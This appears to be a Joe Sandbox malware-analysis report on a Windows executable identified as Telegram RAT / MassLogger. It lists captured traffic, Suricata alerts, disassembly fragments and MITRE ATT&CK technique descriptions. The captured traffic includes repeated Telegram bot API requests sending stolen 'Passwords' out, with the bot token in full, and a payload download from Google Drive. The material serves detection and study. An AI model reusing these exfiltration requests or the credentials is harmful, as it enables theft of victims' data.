Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33055b4f13ffHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3317e34e673aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd332a5d9f9c69Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd333ccb7fd9d3Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3351cb172d67Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd336809ef4d50Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd337ceb19b4f4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3395a3db7cbeHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33abb28677f1Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33c5920c0b5cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33df5e6a49aaHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33fe3ac1ecdfHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd341f90415beaHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd343e3f0cbb2fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd34647c437859Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd348d28405116Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd34b0a4c9392cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd319a08d3505fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: rXKfKM0T49.exe	Virustotal: Detection: 75%			Perma Link
Source: rXKfKM0T49.exe	ReversingLabs: Detection: 78%

Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AC985h	3_2_378AC638
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378A1042h	3_2_378A0C28
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378A0671h	3_2_378A03C4
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AEA48h	3_2_378AE790
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378A1042h	3_2_378A0F6F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AE198h	3_2_378ADEE1
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AC041h	3_2_378ABD9C
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AB791h	3_2_378AB4EC
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378A1042h	3_2_378A0C1B
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AEEA0h	3_2_378AEBF2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AE5F0h	3_2_378AE339
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378ADD40h	3_2_378ADA89
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AC499h	3_2_378AC1F2
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378ABBE9h	3_2_378AB930
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AF2F8h	3_2_378AF054
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 378AB339h	3_2_378AB07F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then push 00000000h	3_2_384EBDF0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E882Dh	3_2_384E8650
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E91B7h	3_2_384E8650
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E6A68h	3_2_384E67C0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E1B00h	3_2_384E1858
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E7318h	3_2_384E7070
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E4ACAh	3_2_384E4820
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E23B0h	3_2_384E2108
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then push 00000000h	3_2_384EC92F
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_384E8193
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E2C60h	3_2_384E29B8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E3510h	3_2_384E3268
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E54B0h	3_2_384E5208
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E5D60h	3_2_384E5AB8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E6610h	3_2_384E6368
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_384E7B62
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_384E8373
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E3DC0h	3_2_384E3B18
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E4670h	3_2_384E43C8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_384ECBE7
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E16A8h	3_2_384E1400
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E6EC0h	3_2_384E6C18
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E7770h	3_2_384E74C8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E1F58h	3_2_384E1CB0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E2808h	3_2_384E2560
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E5058h	3_2_384E4DB0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E5908h	3_2_384E5660
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E30B8h	3_2_384E2E10
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E3968h	3_2_384E36C0
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E4218h	3_2_384E3F70
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E61B8h	3_2_384E5F10
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then jmp 384E1250h	3_2_384E0FA8
Source: C:\Users\user\Desktop\rXKfKM0T49.exe	Code function: 4x nop then push 00000000h	3_2_38A1E790

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49980 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49978 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.9:49975 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49972 -> 216.58.206.46:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1trnBctnI46zfY2OH8xW6LJoMTwL63BYh&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rXKfKM0T49.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

